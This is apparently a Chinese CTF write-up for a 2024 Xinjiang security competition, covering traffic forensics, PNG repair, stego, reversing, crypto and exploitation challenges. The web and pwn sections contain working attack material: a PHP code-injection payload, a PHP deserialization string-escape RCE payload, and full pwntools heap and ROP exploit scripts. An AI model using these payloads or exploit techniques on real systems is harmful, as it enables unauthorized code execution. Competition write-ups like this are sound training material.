2024年新疆“天山固网杯”网络安全技能竞赛 partly WriteUp

MISC

特殊流量

看流量,结合题目,分析后发现找WebSocket的包,其余都是干扰流量,找到包追踪tcp,得到,在601tcp流得到

image

然后解密base64就行

Repair_PNG

Hint.txt给出了密码:

挂载VC得到一张png,拖进010报错,逐个分析数据块,发现从chunk·16开始出现问题:

image

长度被篡改,而且用于篡改的内容很明显是AES等对称加密的密文,首先根据正常的块得到块长度:

image

在010里搜索IDAT,可以发现还有好多被篡改长度的块,而且用于篡改的值都是四字节的AES密文,例如:

image

那么将每个被篡改的IDAT前的四字节提取出来拼接即可得到AES密文

U2FsdGVkX1/HfiTldZcyWOWmQffHye5saaOlP/ZUp3quYjfBSplwZKY8mfpyb5nJAy+MntKQQVvuNnupJoLDjA==

将每个对应块长度的位置以0000fff4替换即可修复图片,图片修复完成后即可在图片上得到密码:

在线网站解密即可:

https://www.sojson.com/encrypt_des.html

流量分析3

WireShark打开追TCP流,可以看到只有4个流

其中流1包含了整个包最长的几条流量,分析应该是上传了一个png图片

追流可以发现有png头

image

文件 -> 导出对象 -> HTTP-将其保存下来

image

然后010打开处理一下成这样即可改后缀为png成功打开

image

StegSolve查看图片各通道,可在R 0通道发现半个二维码

image

但是只有半个无法扫描,继续看流量发现一个提示

image

写个脚本将每个颜色的16个通道都保存下来

import cv2
import numpy as np
import os

def extract_bit_planes(image_path, output_folder):
    # 读取16位PNG图像,保持原始位深
    img = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)
    if img is None:
        print(f"无法读取图像: {image_path}")
        return

    # 检查图像是否为多通道(RGB)
    if len(img.shape) != 3 or img.shape[2] < 3:
        print("图像不是RGB多通道图像。")
        return

    # 创建输出文件夹(如果不存在的话)
    if not os.path.exists(output_folder):
        os.makedirs(output_folder)

    # 分离RGB通道
    # OpenCV以BGR顺序读取图像,所以顺序是 B, G, R
    channels = cv2.split(img)
    channel_names = ['B', 'G', 'R']

    for idx, channel in enumerate(channels):
        channel_name = channel_names[idx]
        for bit in range(16):
            # 提取对应bit位
            bit_mask = 1 << bit
            bit_plane = cv2.bitwise_and(channel, bit_mask)
            # 将bit平面转换为0和255,方便可视化
            bit_plane = np.where(bit_plane > 0, 255, 0).astype(np.uint8)
            # 构造保存路径
            filename = f"{channel_name}_bit_{bit}.png"
            save_path = os.path.join(output_folder, filename)
            # 保存图像
            cv2.imwrite(save_path, bit_plane)
            print(f"保存: {save_path}")

if __name__ == "__main__":
    # 设置输入图像路径和输出文件夹
    image_path = r"upload.png"  # 替换为你的图像路径
    output_folder = r"bit_planes_output"

    extract_bit_planes(image_path, output_folder)

即可在分离出的通道找到两部分的二维码

image

image

image

简单的拼一下用微信扫码即可得到flag

image

WEB

web1

在show.php?file=存在任意文件读取

首先file=index.php

<?php
error_reporting(0);
// 检查是否有提交数据
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $notify1 = $_POST['notify1'];
    $notify2 = $_POST['notify2'];
    $notify3 = $_POST['notify3'];

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');
} else {
    // 默认留言为空
    $notify1 = $notify2 = $notify3 = '';
}

// HTML 部分
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>留言板</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(to right, #333, #fff);
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            position: relative;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.9);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            width: 400px;
            text-align: center;
        }
        h1 {
            color: #444;
        }
        label {
            display: block;
            margin: 10px 0 5px;
        }
        textarea {
            width: 100%;
            height: 80px;
            margin-bottom: 10px;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 4px;
            resize: none;
        }
        button {
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            background-color: #5cb85c;
            color: white;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #4cae4c;
        }
        h2 {
            margin-top: 20px;
            color: #555;
        }
        p {
            margin: 5px 0;
        }
        /* 头像样式,确保定位在整个页面的右上角 */
        .avatar {
            position: absolute;
            top: 20px; /* 与页面顶部的距离 */
            right: 20px; /* 与页面右侧的距离 */
            text-align: center;
        }
        .avatar img {
            border-radius: 50%;
            width: 60px; /* 头像宽度 */
            height: 60px; /* 头像高度 */
        }
        .avatar a {
            display: block;
            margin-top: 5px; /* 距离头像的间隙 */
            color: #007bff;
            text-decoration: none;
            font-size: 12px; /* 调整字体大小 */
        }
        .avatar a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<!-- 右上角头像及链接,放在 body 内 -->
<div class="avatar">
    <img src="./img/1.jpg" alt="头像">
    <a href="/show.php?file=img/1.jpg" target="_blank">点击查看头像</a>
</div>

<div class="container">
    <h1>留言板</h1>
    <form method="POST">
        <label for="notify1">留言 1:</label>
        <textarea name="notify1" id="notify1"><?php echo htmlspecialchars($notify1); ?></textarea>

        <label for="notify2">留言 2:</label>
        <textarea name="notify2" id="notify2"><?php echo htmlspecialchars($notify2); ?></textarea>

        <label for="notify3">留言 3:</label>
        <textarea name="notify3" id="notify3"><?php echo htmlspecialchars($notify3); ?></textarea>

        <button type="submit">提交留言</button>
    </form>

    <h2>留言内容:</h2>
    <p>留言 1: <?php echo htmlspecialchars($notify1); ?></p>
    <p>留言 2: <?php echo htmlspecialchars($notify2); ?></p>
    <p>留言 3: <?php echo htmlspecialchars($notify3); ?></p>
</div>

</body>
</html>

发现

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');

写入文件来进行文件包含的,所以即可

";system("id");#

d6d0d6658042988b2ffdb9a83db7038

5449201c786cb0562814919c81999ba

web2

<?php
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
//        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="echo";
        $this->test2="fakes";
    }

    public function __toString()
    {
        echo 1;
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = $_POST["a"];
$b = $_POST["b"];
if(isset($_POST["a"])&&isset($_POST["b"])){
//    echo 1;
    $b = new B1($a,$b);
    $c = checker(serialize($b));
    echo $c;
    $d = unserialize($c);
}
else{
    highlight_file(__FILE__);
}
//unserialize('O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}');

发现反序列化字符串逃逸减少

首先写一个能够rce的payload

<?php
error_reporting(0);
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="system";
        $this->test2="id";
    }

    public function __toString()
    {
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = new C1();
$a->test1 = new D1();
echo serialize($a);
php test.php 
O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}uid=1000(xxx)

这样获取到我们的逃逸的payload,不过少了一点细节,也就是

";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

我们需要逃逸这个

发现了减少逃逸的字符串为

";s:5:"test2";s:100:"aa

所以payload就是

a=fakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakes&b=aa";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

image

REVERSE

ezVM

其实就是程序每次读取的输入后亦或的一个字符串,直接写出解密脚本

import struct

# 定义密钥和数据
key = b"YesYouFindtheVMKeyBravo"
buf2 = [0x1D22251D, 0x3343383F, 1108811830, 0x3B20483F, 0x2E2F1E65, 0x286C29]

# 将整数数组 buf2 转换为字节数组
data = bytearray()
for num in buf2:
    data += struct.pack("<I", num)

# 解密操作
for i in range(len(key)):
    data[i] = (data[i] - i) & 0xFF  # 确保值在 0-255 范围内
    data[i] ^= key[i]

# 将解密后的数据转换为字符串并打印
result_string = data[:len(key)].decode('utf-8')
print(result_string)

checkyourflag

image

在字符串这里看到win,跟踪函数调用找到check的位置

image

可以看到通过v3的值分别进行异或

image

后面就是简单异或拷打GPT就行

提取:

# 给定的 v27 数组
v27 = [
    0xDA53D840, 0xAB3BDF50, 0xA920AC7C, 0xAA74FB20, 0xFA73AF22,
    0xFC20AE2E, 0xAA7DAE7F, 0xFA21FA25, 0xFF73FA70, 0xE423AD75
]

# 将每个整数拆解为逐一字节
def split_into_bytes(v27):
    byte_array = []

    for value in v27:
        # 使用 little-endian 方式拆分每个 32 位整数为字节
        bytes_rep = value.to_bytes(4, byteorder='little')  # 转为4个字节(小端格式)
        byte_array.extend(bytes_rep)  # 将这些字节添加到数组中

    return byte_array

# 调用函数并获取字节数组
byte_array = split_into_bytes(v27)

# 打印每10个字节换行,每个字节之间用逗号分割
print("Byte sequence:")
for i in range(0, len(byte_array), 10):
    # 获取当前行的10个字节
    line = byte_array[i:i+10]
    # 格式化每个字节为十六进制并连接为字符串
print(", ".join(f"0x{byte:02X}" for byte in line))

解密:

# 密文v27数组的值(从代码中提取)
v27 = [
    0x40, 0xD8, 0x53, 0xDA, 0x50, 0xDF, 0x3B, 0xAB, 0x7C, 0xAC,
    0x20, 0xA9, 0x20, 0xFB, 0x74, 0xAA, 0x22, 0xAF, 0x73, 0xFA,
    0x2E, 0xAE, 0x20, 0xFC, 0x7F, 0xAE, 0x7D, 0xAA, 0x25, 0xFA,
    0x21, 0xFA, 0x70, 0xFA, 0x73, 0xFF, 0x75, 0xAD, 0x23, 0xE4
]

# 解密函数,逆向加密过程
def decrypt(v27):
    # 遍历密文数组进行逆向解密
    for i in range(len(v27)):
        if (i & 1) != 0:  # 对于奇数位置的元素,执行 XOR 操作
            v27[i] ^= 0x99
        else:  # 对于偶数位置的元素,先执行 XOR 操作,再加上 30
            v27[i] ^= 0x66
            v27[i] += 30

    # 返回解密后的 flag
    return bytes(v27).decode(errors='ignore')

# 解密并输出 flag
flag = decrypt(v27)
print("Decrypted flag:", flag)

PWN

pwn1

from pwn import *
io = process('./guess')
elf = ELF('./guess')
context(log_level='debug')
for i in range(0x14):
    io.recvuntil(b'input your guess\n')
    payload = b'777'
    payload = payload.ljust(8,b'\x00')
    io.send(payload)
io.recvuntil("good!\n")
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str("+"))
io.sendline(str(0xdeadbeef))
io.sendline(str(0x4012db))
io.interactive()

pwn2

打开ida发现edit功能存在off by null的漏洞

这里观察show函数发现了存在加密,经过观察发现是RC4,这里找gpt获得解密脚本

Free函数无uaf

Add函数只能申请固定大小堆块,libc版本为2.34,很容易想到通过那个off by null利用house of kiwi进行攻击

from pwn import*  
from Crypto.Cipher import ARC4
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./heap')
p= remote('139.155.126.78',31054)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))   
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])  
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))  
def bug():
    gdb.attach(p)
    pause() 
def cmd(a):
    sla(b'CHOICE: ',str(a))      
def add():
    cmd(1) 
def edit(idx,size,content):
    cmd(2)
    sla(b'INDEX: ',str(idx))
    sla(b'SIZE: ',str(size))
sa(b'CONTENT: ',content)  
def show(idx):
    cmd(3)
    sla(b'INDEX: ',str(idx))   
def free(idx):
    cmd(4)
    sla(b'INDEX: ',str(idx))
def decode(pay, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(pay)
    return res
rc4_key = "\x7f\x45\x4c\x46\x02\x01\x01"

for i in range(15):
         add()
for i in range(3,10):
         free(i)
free(0)
free(1)
free(2)
for i in range(10):
        add()
show(9)
p.recv(5)
key = u64(decode(p.recv(5),rc4_key).ljust(8,b"\x00"))
heap_base = key << 12
li(key)
li(heap_base)
show(8)
p.recv(5)
libc_base = u64(decode(p.recv(6),rc4_key).ljust(8,b'\x00'))-0x1f2cc0
li(libc_base)
for i in range(7):
        free(i)
edit(7,0xf8,p64(heap_base+0x470)*2)
free(8)
for i in range(8):
         add()
free(9)
free(8)
ret=libc_base+libc.search(asm("ret")).__next__()
rdi=libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi=libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax=libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,bin=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
puts=libc_base + libc.sym['puts']
stderr=libc_base+libc.sym['stderr']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
setcontext = libc_base + libc.sym['setcontext'] + 61
rdx=libc_base+0x0000000000087759 #rdx,rbx
_IO_file_jumps = libc_base + 0x1f4560 + 0x60
_IO_helper_jumps = libc_base + 0x1f3960 + 0xa0
flag = heap_base + 0x1280 + 0xd0

orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open)
orw +=p64(rdi) + p64(3) + p64(rsi) + p64(flag+0x10) + p64(rdx) + p64(0x100) + p64(0)+ p64(read)
orw +=p64(rdi) + p64(flag+0x10) + p64(puts)
orw = orw.ljust(0xd0 ,b"\x00")
orw += b'./flag\x00'
edit(7,0x10,p64(key ^ _IO_helper_jumps))
edit(14,0xf0,orw)
add() #8
add() #9
edit(9,0x10,p64(heap_base+0x1280) + p64(rdi+1))
free(10)
free(8)
edit(7,0x10,p64(key ^ _IO_file_jumps))
add() #8
add() #10
edit(10,0x10,p64(setcontext))
free(11)
free(8)
edit(7,0x10,p64(key^(heap_base + 0x1370)))
add() #8
add() #11
edit(11,0x10,p64(0)*2)
add()
add()

inter()

CRYPTO

bbb

强网杯apbq的part三,造了一通格子才认出来

from gmpy2 import *
from Crypto.Util.number import *
c=242319185698105966655811445195646165772013130518334334162252266969002201624779527078330676453235767390330780831161760574272413824450562363719470733193743162466341642825448999475127421027884538732952287818775578674011266584557436930741593502788559576089268405727954506642287558247104400841378166608643114577097136065234590225310895617443375941573228936034616455500751983362999490808023115657533450432557813185878160445309856767963194393138873447889804383396880767349563873409518315199704565143016369326672458639559958597154697965186545110678201108512625438329575629949086827161665402396440860960941415911878862932716
n=441522587869616749138797465532639436283961259111657934966888819387372178302775576376364712193076049405075347561837908020324373038749442055032833183300869647615172010963365836986154161648583082757314769298002257388631720849937763680726838132583378677561490049437481683836064669759255586303448222204575037683338662178295455778491007161112769510561185414715476484798533243282400251263092618695814970950180618826257642818430948899210822780087415109643704831306938196522011291127467370515424147721491645066322779363762109668238230739500744231601240751975467633389119737701026132439742280472955562542076451393469920709413
hint1=17817487943395422123342006438258298667428179946815051779848621580624602814557544233549701919939506547723962007508306809894299353166612229227579979518255525215296169402087911021532151814442967358027333089703201268353220339693072081576004483475155871334555810758463081853120188212504620113353614966771724444858136947027458226965305234232387086706519521150015910958417759945074484984220668424317692306964197465165961371032147311046782902947408983728409112857203221763810582563523855808203892411140679241411269431868123802101895164298037477881517928173151858504248818439471985658479639214407136813866163781042862874376623
hint2=507655543445719887393880289556052316199636906666104900190345863932916388145030360549029392536646985738191345835942055042349983029079001998686154728826856491260487483477968537386815513137401032976334169717301621583119046594107288445735196550464169567662623283761689493622187333261306587925390376485660497678023692394093269747965940785720005284184547408047483424966456717371657844981405816595512464907300400643958535745888734700846913746348325704420535690307781666535468546394350875710786845456727290841831099933648037602469321163771162452711978551964177586237673498624172843090041809878011155422986987754596960646442

x=hint1
y=hint2
e = 65537
R = Integers(n)
P.<a, b, p, q> = PolynomialRing(Integers(n))
f1 = a*p + q
f2 = p + b*q
f3 = p*q
I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()
g = B[-1]
z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)

_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)
S = 2^1024
for p_upper_bits in range(16):
    p_upper = p_upper_bits << 1020
    for q_upper_bits in range(16):
        q_upper = q_upper_bits << 1020
        M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
        B = M.LLL()
        for b in B:
            if b[-1] == S:
                if b[1] < 0:
                    b *= -1
                p_guess = b[1] + p_upper
                q_guess = b[2] + q_upper
                if p_guess * q_guess == n:
                    d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
                    message = int(pow(c, d, n))
                    message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
                    print(message_bytes)

发布者

AndyNoel

一杯未尽,离怀多少。